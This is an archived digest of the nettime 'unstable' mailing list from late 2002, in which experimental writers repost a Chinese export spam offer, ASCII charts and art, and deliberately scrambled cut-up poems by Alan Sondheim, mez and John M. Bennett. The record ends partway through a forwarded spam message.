Altman, Currie, Carey, Altman, Grunsfeld, Carey, Currie,\nGrunsfeld, Newman, miles/28.5 Linnehan, Newman, Massimino Linnehan, 308\nMassimino miles/28.5 308 === ===\n\n\n\n\nFrom: csszcodx {AT} public.wh.hb.cn\nSubject: 2 main items ( E-SSS-5A )\n\n\nTHE GATOSON (HOLDINGS) LIMITED\n\nE-mail   :  csszcodx {AT} public.wh.hb.cn\n\n\nOur Ref.: 12 main items (E-SSS-5A)            7th Dec. 2002\n\n\nDear Sir,\n\nWe can get the follow good quality products which made\nin China at the SPECIAL LOWEST PRICES.\n\nIf you are interested them, kindly contact us by return\ne-mail, we will inform you our WEBSITE for them by e-mail\nimmed., you can visit our website and let us your instructions.\nANY OTHER INQUIRIES ARE WELCOME.\n\nThanks again for your kindly assistance and\nwaiting for your instructions.\n\nBest Regards\nTHE GATOSON (HOLDINGS) LTD.\nAlex Cheng\nGeneral Manager\n\n\n\n\nA     wearing and accouterment\nA01   man garment\nA02   lady garment\nA03   children garment\nA04   silk dress\nA05   leather/fur dress\n\nA06   knitting dress\nA07   full dress\nA08   sportswear and leisurewear\nA09   uniform\nA10   underwear and nightwear\nA11   accouterment and accessories\nA12   shoes\nA13   others\n\n\n\n\nB     electricity & electronic product\nB01   electronic appliance for kitchen\nB02   telephone\nB03   computer\nB04   television set\nB05   air conditioning\nB06   audio and video facility\nB07   sanitary products\nB08   washing machine\nB09   water fountain\nB10   VCD/DVD player\nB11   refrigerator\nB12   water heater\nB13   mobile phone\nB14   digital products\nB15   others\n\n\n\n C     machinery and equipment\nC01   food, beverage & tobacco machine\nC02   foodstuff machine\nC03   dyeing machine for textile\nC04   sewing machine for dress\nC05   leather/shoes machine\nC06   paper machine\nC07   paper products machine\nC08   press machine/equipment\nC09   Medical equipments\nC10   envir.pro.machinery/equipment\nC11   chemical machinery/equipment\nC12   construction machinery/equipment\nC13   engineering machinery\nC14   electronic/electrical machinery\nC15   others\n\n\n\nD     vehicle\nD01   sanitation truck series\nD02   traveling bus\nD03   passenger car\nD04   agricultural vehicles\nD05   carring truck\nD06   saloon car\nD07   mini bus\nD08   bus\nD09   motorcycle\nD10   bicycle\nD11   fire truck series\n\nD12   cement tanker\nD13   concrete mixing truck\nD14   drumper\nD15   others\n\n\n\n\n\nE     ship and spare parts\nE01   yacht and speed boat\nE02   oil tanker\nE03   cargo vessel\nE04   submarine vessel\nE05   passenger vessel\nE06   battery boat\nE07   rowing boat\nE08   treading boat\nE09   fishing boat\nE10   special vessel\nE11   others\n\n\n\n\n\nF     sports products\nF01   ball\nF02   ski and skate shoes\nF03   gymnastic equipment\nF04   model\nF05   traveling products\nF06   swimming outfit\nF07   others\n\n\n\nG     office equipment & stationery\nG01   office furniture\nG02   office stationery\nG03   office equipment\nG04   copier\nG05   fax machine\nG06   scraping machine\nG07   scanner\nG08   printer\nG09   blueprint machine\nG10   others\n\n\n\nH     daily commodity\nH01   dishware and kitchenware\nH02   furniture\nH03   decoration\nH04   clock and watch\nH05   cleaning article\nH06   domestic textile\nH07   clothes rack and clothes pin\nH08   lighter and smoking set\nH09   knife and scissors\nH10   umbrella and raincoat\nH11   glasses\nH12   others\n\n\n\nJ     industrial control/automatization\nJ01   automatic apparatus parts\nJ02   robot and mechanical hands)\nJ03   automatic system\nJ04   automatic instrument\nJ05   others\n\n\n\nK     paper products\nK01   toilet paper\nK02   paper package\nK03   others\n\n\nL     Oilfield equipments\n\nL01   Welhead equipment & X-mas tree blowout preventers\n\nL02   Drill-Stem testing tools new series perforating guns\n\nL03   Pumping units\n\nL04   F-series triplex mud pumps\n\nL05  Drilling & producting accessories\n\nL06   Drilling rigs\n\nL07   Others\n\n\n\nM     aerospace products & aircrafts\n\nM01   Aircrafts\n\nM02   Aerospace equipment\n\nM03   Others\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: FREUD conference statistics from www.fido-online.com\nDate: Tue, 10 Dec 2002 23:42:37 -0500 (EST)\n\n\n\n\nFREUD conference statistics from www.fido-online.com\n\n+-------------------------------------------------------------->\n\n ---- By WDay.\n Sun |-------------------------------------\n Mon |------------------------------------------------------------\n Tue |--------------------------\n Wed |---------------------------------------\n Thu |-----------------------------------------\n Fri |------------------------------------\n Sat |-----------------\n     +------------------------------------------------------------------->\n\n ---- By time.\n 12%-  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7\n    |\n    |\n    |\n    |\n  9%+   \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7\n    |\n    |\n    |\n    |\n  6%+   \u00b7  \u00b7  \u00b7  \u00b7  \u00b7   \u00b7  \u00b7  \u00b7  \u00b7    \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7  \u00b7\n    |\n    |\n    |\n    |\n  3%+   \u00b7  \u00b7  \u00b7  \u00b7  \u00b7   \u00b7         \u00b7  \u00b7   \u00b7    \u00b7  \u00b7\n    |\n    |\n    |\n    |\n\n+------------------------------------------------------------------------>\n      0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22\n23\n\n\n===\n\n\nFrom: \"|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| <404\" {AT} gilb.mind.de\nSubject: Re:Neues Thema (war: Monsterbegriff Medien: Definitionen)   die\nDate: Wed, 11 Dec 2002 19:24:42 +0100\n\n--============_-1172491405==_ma============\n\n rohrpost-request {AT} mikrolisten.de\t10/10/02\t1\nRe: Rohrpost -- confirmation of subscription 404 {AT} jodi.org\n rohrpost {AT} mikrolisten.de\t10/10/02\t0\tto: <3D9DDB1E.D65B442B {AT} \n rohrpost {AT} mikrolisten.de\t10/10/02\t2\n rohrpost {AT} mikrolisten.de\tTuesday\t32\n\t||||||||||||||||||||||||||||||||||||||||||||||||||||||\n rohrpost-request {AT} mikrolisten.de\tTuesday\t68\tRe: Wely  sri     t\noh      o   e t          t rc i -\n rohrpost-request {AT} mikrolisten.de\t10/10/02\t15\tRfeeeeeeee:\n[Neeeeee\n rohrpost {AT} mikrolisten.de\tTuesday\t205\t- -- -  ___       -RRh \nE         -oot  n   hht  d   \n rohrpost {AT} mikrolisten.de\tTuesday\t148\n rohrpost {AT} mikrolisten.de\tTuesday\t46\t {AT} \n rohrpost {AT} mikrolisten.de\tTuesday\t103\tR RHoZmooMRe DoGReST:\nDRecRemb44r 4, 20      \n \t(Normal)\t\t\t7:12 PM +0100\t0\tRe:Neues\nThema (war: Monsterbegriff Medien: Definition die mails?/\n\n Rohrpost Subscription results\n    You are already subscribed!\n > hmmm. ja. ist mir auch schon aufgefallen.\n\n[Delivered by Mailman]\nversion 2.0.13 [Python Powered] [GNU's Not Unix]\n        neind {AT} snicht\n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                         {AT} \n                                                    {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                   {AT} \n                                            {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                            {AT} \n                                         {AT}  {AT}  {AT}  {AT} \n                                            {AT} \n                                            {AT}  {AT}  {AT}  {AT} \n                                               {AT} \n                                               {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                    {AT} \n                                                    {AT}  {AT}  {AT} \n                                                      {AT} \n                                                      {AT}  {AT}  {AT}  {AT} \n                                                         {AT} \n                                                         {AT}  {AT} \n                                                          {AT} \n                                                          {AT}  {AT}  {AT} \n                                                            {AT} \n                                                            {AT}  {AT} \n                                                             {AT} \n                                                             {AT} \n                                                             {AT} \n                                                            {AT}  {AT} \n                                                        {AT}  {AT}    {AT} \n                                      {AT}                     {AT}   {AT} \n                                      {AT}  {AT}                     {AT}  {AT} \n                                       {AT}  {AT}  {AT}  {AT}                   {AT} \n                                       {AT}     {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT}  {AT} \n                          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}              {AT}  {AT}  {AT} \n                     {AT}  {AT}  {AT}  {AT}  {AT}                  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}    {AT}  {AT} \n                    {AT}  {AT}                                  {AT}  {AT}  {AT}  {AT} \n                    {AT}  {AT}  {AT} \n                      {AT}  {AT}  {AT} \n                        {AT}  {AT}  {AT}  {AT} \n                           {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                     {AT}  {AT}  {AT}  {AT}  {AT} \n                                         {AT}  {AT}  {AT}  {AT}  {AT} \n                                             {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                      {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                            {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                                 {AT} \n                                                                 {AT}  {AT}  {AT} \n                                                                   {AT}  {AT}  {AT}  {AT} \n                                                                      {AT}  {AT} \n                                                                       {AT}  {AT}  {AT}  {AT} \n                                                                          {AT}  {AT}  {AT}  {AT}  {AT} \n                                                                              {AT} \n                                                                              {AT}  {AT}  {AT} \n {AT} \n                                                                               \n {AT} \n                                                                               \n {AT}  {AT} \n                                                                                \n {AT}  {AT}  {AT} \n                                                                                \n    {AT}  {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT}  {AT} \n                                                                                \n      {AT} \n                                                                                \n      {AT} \n                                                                                \n      {AT} \n                                                                                \n      {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n    {AT} \n                                                                                \n   {AT} \n                                                                              {AT}  {AT}  {AT} \n {AT}  {AT} \n                                                                         {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                                       {AT}  {AT}  {AT} \n                                                                   {AT}  {AT}  {AT}  {AT}  {AT} \n                                                                 {AT}  {AT}  {AT} \n                                                             {AT}  {AT}  {AT}  {AT}  {AT} \n                                                        {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                      {AT}  {AT}  {AT} \n                                                  {AT}  {AT}  {AT}  {AT}  {AT} \n                                              {AT}  {AT}  {AT}  {AT}  {AT} \n                                            {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                     {AT}  {AT}  {AT} \n                                 {AT}  {AT}  {AT}  {AT}  {AT} \n                               {AT}  {AT}  {AT} \n                          {AT}  {AT}  {AT}  {AT}  {AT} \n                        {AT}  {AT}  {AT} \n                     {AT}  {AT}  {AT}  {AT} \n                    {AT}  {AT} \n                  {AT}  {AT}  {AT} \n                 {AT}  {AT} \n              {AT}  {AT}  {AT}  {AT} \n              {AT} \n             {AT}  {AT} \n             {AT} \n             {AT} \n             {AT}  {AT} \n              {AT}  {AT} \n               {AT}  {AT} \n                 {AT}  {AT} \n                  {AT}  {AT}  {AT}  {AT} \n                     {AT}  {AT}  {AT}  {AT}  {AT} \n                         {AT}  {AT}  {AT} \n                           {AT}  {AT}  {AT}  {AT} \n                              {AT}  {AT}  {AT} \n                                {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                       {AT} \n                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                           {AT}  {AT}  {AT} \n                                             {AT}  {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT} \n                                                    {AT}  {AT} \n                                                     {AT}  {AT}  {AT} \n                                                       {AT}  {AT}  {AT} \n                                                         {AT}  {AT}  {AT}  {AT} \n                                                            {AT}  {AT} \n                                                             {AT}  {AT}  {AT} \n                                                               {AT}  {AT}  {AT} \n                                                                 {AT} \n                                                                 {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                                      {AT} \n                                                                      {AT}  {AT}  {AT}  {AT}  {AT} \n                                                                          {AT} \n                                                                          {AT}  {AT}  {AT}  {AT} \n                                                                             {AT}  {AT} \n                                                                              {AT}  {AT}  {AT} \n                                                                                {AT} \n {AT}  {AT} \n                                                                                \n {AT}  {AT} \n                                                                                \n   {AT}  {AT} \n                                                                                \n    {AT}  {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                                                                \n     {AT} \n                                              \n {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}                         {AT} \n                                        {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}              \n {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}                 {AT} \n                                    {AT}  {AT}  {AT}  {AT}                              \n {AT}  {AT}  {AT}  {AT}  {AT}  {AT}    {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                   {AT}                                {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                {AT}  {AT}  {AT}                         \n {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}             {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                               {AT}                           \n {AT}  {AT}                         {AT}  {AT}  {AT} \n                               {AT}                         \n {AT}  {AT}  {AT}                             {AT}  {AT} \n                             {AT}  {AT}                        \n {AT}  {AT}  {AT}                                 {AT}  {AT}  {AT} \n                            {AT}                       \n {AT}  {AT}  {AT}  {AT}                                     {AT} \n                           {AT}  {AT}                  \n {AT}  {AT}  {AT}  {AT}  {AT}  {AT}                                         {AT} \n                           {AT}                \n {AT}  {AT}  {AT}  {AT}                                              {AT} \n                           {AT}            \n {AT}  {AT}  {AT}  {AT}  {AT}                                                 {AT}  {AT} \n       {AT}                    {AT}            \n {AT}  {AT}                                                     {AT} \n       {AT}  {AT}  {AT}  {AT}  {AT}                {AT}           \n {AT}  {AT}                                                     {AT} \n       {AT}  {AT}     {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}    {AT}           \n {AT}                                                     {AT}  {AT} \n        {AT}  {AT}                {AT}  {AT}  {AT}  {AT}           \n {AT}                                                  {AT}  {AT} \n          {AT}  {AT}  {AT}  {AT}               {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}     \n {AT}  {AT}                                              {AT}  {AT} \n              {AT}  {AT}  {AT}  {AT}  {AT}            {AT}     \n {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}                                       {AT}  {AT}  {AT}  {AT} \n                   {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}             {AT}  {AT}                               \n {AT}  {AT}  {AT}  {AT}  {AT} \n                               {AT}  {AT}  {AT}  {AT}  {AT}                                        {AT}  {AT}  {AT} \n                                  {AT}  {AT}                              {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                           {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                                    {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT} \n                                            {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                         {AT}  {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT} \n                                   {AT}  {AT}  {AT}  {AT}  {AT} \n                                {AT}  {AT}  {AT}  {AT} \n                              {AT}  {AT}  {AT} \n                             {AT}  {AT} \n                             {AT} \n                            {AT}  {AT} \n                           {AT}  {AT} \n                          {AT}  {AT} \n                         {AT}  {AT} \n                        {AT}  {AT} \n                       {AT}  {AT}    {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                      {AT}  {AT}  {AT}  {AT}  {AT}                  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                    {AT}  {AT}  {AT}                            {AT}  {AT}  {AT}  {AT}  {AT} \n                   {AT}  {AT}  {AT}                                  {AT}  {AT}  {AT}  {AT}  {AT} \n                   {AT}  {AT}                                        {AT}  {AT}  {AT}  {AT} \n                   {AT}                                             {AT}  {AT}  {AT}  {AT}  {AT} \n                                                                   {AT}  {AT} \n                                                                    {AT} \n                                                                   {AT}  {AT} \n                                                                  {AT}  {AT} \n                                                                {AT}  {AT}  {AT} \n                                                            {AT}  {AT}  {AT}  {AT}  {AT} \n                                                       {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                      {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT} \n                                {AT}  {AT} \n                                {AT}  {AT} \n                                 {AT}  {AT} \n                                  {AT}  {AT}  {AT}  {AT} \n                                     {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                           {AT}  {AT}  {AT} \n                                              {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT} \n                                                    {AT}  {AT}  {AT}  {AT} \n                                                       {AT}  {AT} \n                                                        {AT}  {AT}  {AT} \n                                                          {AT}  {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                             {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                  {AT}  {AT}  {AT}  {AT}  {AT} \n> dein SIG HIE =?iso-8859-1?q?Hillg=E4rter?=)\n-------------------------------------------------------\n\n\n\n\nnettime unstable digest vol 25\nThu Dec 12 15:08:54 2002\n\n\nSubject: 00\n    From: 00 <00 {AT} gw-komp.elnet.lt>\n\nSubject: kunst meth\n    From: \"august highland\" <hmfah3 {AT} hotmail.com>\n\nSubject: 711[ closing,  , opening, this, chose, choose, angel, dot, .,\n    From: j.cs2sc.m <sc {AT} chromaticspaceandworld.com>\n\nSubject: Dangerous Information\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: 2 main items ( E-SSS-5A )\n    From: csszcodx {AT} public.wh.hb.cn\n\nSubject: FREUD conference statistics from www.fido-online.com\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re:Neues Thema (war: Monsterbegriff Medien: Definitionen)   die\n    From: \"|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| <404\" {AT} gilb.mind.de\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.12 2002/11/21 16:13:41 paragram Exp $\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA, finger cantsin {AT} mail.zedat.fu-berlin.de\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 15 Dec 2002 18:57:22 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200212161845.gBGIjKN30224 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0212/msg00096.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 25"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00007",
                "content": "\n\nDate:         Thu, 28 Nov 2002 02:44:49 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: contents:\n\ncontents:\n\n\n\ns o n t c\n\n\n\" S s - S F - t F P t p P d p o d \" o s t a l n c a a t n a a a t a a w a\nt a l w c v v s s t t i i p p r r s s l l a S S l l s s b b m a r a a o a\ns o o o a s m c r s P P s s a t t i i l l p p c o a f b o w c e a o b l e\nu l f u c m o a a r m o t a 2 u r 2 v c p l i b h 6 p m o b f p o h c p l\nf 6 o m e b n t o p r e o a a b s g p p g b p a b s d d a a t t p p r r o\nt s s l b o l u u T s s T o s w p p p s p p h s o p s a p o o a o e u s s\nu o r p p a M a t t a s d f f a a l l a a a a o o f f a m f b l a l a n l\no d s a a d m s m a p m m m d c a t v t a u 0 0 b i d i o f s s n o a s p\nv t v a t d a r t\n\n( R a F F F o N N S W A B O 1 n\n\ni t c i f c t c t a c r - p a t a c p r - a o m b c i b s s 1 f w 1 c w n\ns b l f b b f s f a b o w w b h h s s u u d d p a e p j e b i b j i b t r\na w a i 3 s i p i 3 r 3 w 3 h w p a m c i f e y l e a 1 t p c l f l t m m\ne o w t m o t s s l o m s w c r t g r a g t f n a m n c m t h t d t l m t\nt l o l h h r i m : t l m e w t m o t s o f s c t t r g f a t n m h d n m\nh l t i l n m t l o h r n m t i\n\n\nsion or negative-imaginary the closest\n\n\n\"Neuropteris Stur schlehani - Stur Fond - tripinnate. Fond Primary\ntripinnate. pinnae, Primary distant pinnae, or distant \"Neuropteris or\nschlehani touching, abruptly large, near contracting apex abruptly to near\nacute apex angle, to and acute with angle, touching, and large, with\ncontracting very very small, small, terminal, terminal, inequilateral\ninequilateral pinnule; pinnule; rachis, rachis, striated striated\nlongitudin- longitudinally. ally. Secondary Secondary linear-lanceolate,\nlinear-lanceolate, slightly slightly base base more acute rapidly apex,\napex, oblique, alternative, straight openly or oblique, and straight more\ncurved; rachis, striated. Pinnules, Pinnules, subcoriaceous, subcori-\naceous, those those in in low low position position curved; on at front,\nbase, oblong, with cordate entire at or base, lobed entire undulate lobed\nfront, undulate cordate margins, open attached angles right more open to\nangles 2 up right 2 very cm. pinnules long in by higher 6 positions mm. on\nbroad; frond, pinnules oblong higher cm. positions long frond, 6 oblong\nmm. elliptical, base, normal to oblique pinnules rachis; elliptical, of\nattached a by secondary greater pinna, part greater becoming part apex\nbecoming secondary decurrent decurrent alethopteroid; alethopteroid;\nterminal terminal pinnules, pinnules, relatively relatively oblong-\ntriangular, slight slight lobe basal on lobe upper upper The side. short\nThe oblong-triangular, short with pinnae primary primary several pinna\npairs, have secondary one pinnae several apex pairs, of ovate and oblong-\nelliptical until segment small, until ovate replaced pinnules. pinnules.\nand Mid-vein, alethopteroid thick, to alethopteroid short distance from\nfrom apex; apex; laterals, laterals, alethopteroid, alethopteroid, arising\narising obliquely, obliquely, forked forked at margin forked both largest\narms lobed again, near largest one divisions so are as deflected meet so\nmargins as pinnules meet more margins divisions commonly at twenty-five\nvery thirty-two angles ultimate 0.5 0.5 basal inferior decurrent is or fed\nsimple several, near once apex simple pinna veins that veins arise that\ndirectly arise rachis.\" the\n\n(Carboniferous Rocks and Fossil Floras Fossil of Northern Nova Scotia,\nW. A. Bell, Ottawa, 1944) now\n\nit this comes it from comes the carboniferous this anthracite closest\nregion - pennsylvania a these appeared close pennsylvania relative -\nappeared of my buried collections, in buried susquehanna susquehanna 1972,\nflood which 1972, collections, which now swallowed basement large first\nbasement building first swallowed floor a building of wilkes-barre wilkes-\nbarre historical historical society; society; underground underground\ndecontextual- decontextualized, present appearing era, present judging\nera, by image-fossil, book, judging ized, book, the resonant and what and\ni 35, seen i plates is 30 resonant 32 what 35, have walked plates among my\ncoal in flora early youth learning early among 1950s the pennsylvania,\ncoal learning flora locate the myself mobius elsewhere of within time,\nmobius out time, spatial spewed locate out myself spatial within cloaca,\nreichenbach's tethered genidentity, reichenbach's all genidentity, time,\nfor no all matter no cloaca, matter tethered how to dismembered; time\nlittle matter time the left, of location how heavy rock, image-real matter\n::learning to locate myself elsewhere within the mobius of time, spewed\nout from spatial cloaca, tethered to reichenbach's genidentity, for all\ntime, no matter how dismembered; no matter how little time is left, no\nmatter the location of heavy rock, no matter the impres\n\n\n\n===\n\n\n\n\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: w[fr]eight[ed] p[e]lastic corridors\nDate: Thu, 28 Nov 2002 19:14:48 -0800\n\n\n\n\n[b]leech-usa-feed.ing + de[p]th-g.rind.ing\npa.rod[straight N burdened](d.t)ox b[ph]reaking\n\ns.lip.ping in[2] p[e]lastic corridors + w[fr]eight[ed]\nd.row[i].n[g] in a c[ball]ast of 1 + sh.edd[y]ing in m.arks(of \nnon-covenants) 2 the powa of 2\n\nshod-genda-fodder + out.side.r [d.]li(t)m(us)i.t(est)[ing]\nb[h]alls of m[h]eated test.osterone wax s[lip]treaming\n\n[attn: p.lease[d] + f.leec[hing]ed]\n[gos.sip[ping: thru a de(a)f.(ill)icit g.laze]\n[mo([n]u)thing: m(f)oo(l)n-stretching + sp.h.e(misphe)rical sex.[f|b]lush][\n[s.hi(t)fting: monitored sheen spacements]\n\n******************\n\nbleach-leeching whilst usa-feeding with TeeVed death-rinds /depth grinding\nparadox phreaking and straight-&-burdened detox\n\nslipping plastic/elastic corridors and freight-weighted\ndrowing in a ballast_cast of 1 and shedding eddies in marks/arks of \nnon-covenants to the power of two\n\nshod-gender-fodder and outsider [d.]li(t)m(us)i.t(est)[ing]\n\n\n\n\n\nDate:         Tue, 26 Nov 2002 13:57:57 -0500\nFrom: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\nSubject: Ran\n\nRan\n\nfield turns  ,sleep groping\nrabbit\nclouds  ,loss tail streaming\n\n\nBus t\n\nplug a  ,gash a\nlog\ndipping in ah surf\n\n\nP lop\n\nrun knee haze  ,coast\nb ile\nf lag stammer loft snore\n\n\nGush\n\nt race of  ,gag pool\n)oil(\nnest the shoe shore\n\n\nAng\n\nlo ad vanish sleep pool\ngut\nser e e star e shade's lung\n\n\nGus t t\n\ng lum p ant s as h eaves\nd rip p p p\nuse cute glue (said\n\n\nJohn M. Bennett\n__________________________________________\nDr. John M. Bennett\nCurator, Avant Writing Collection\nRare Books & Manuscripts Library\nThe Ohio State University Libraries\n1858 Neil Av Mall\nColumbus, OH 43210 USA\n\n(614) 292-8114\nbennett.23 {AT} osu.edu\n___________________________________________\n\n\n\n\nFrom: Peter von Brandenburg <blackhawk {AT} thing.net>\nSubject: [Fwd: DWG Needed! 4622] {inscrutable spam}\nDate: Sat, 23 Nov 2002 22:47:26 -0500\n\n--------------3DCA8E70B74E5B9657B04289\n\n\n\n--------------3DCA8E70B74E5B9657B04289\nContent-Type: message/rfc822\nContent-Disposition: inline\n\nReturn-Path: <idaho {AT} 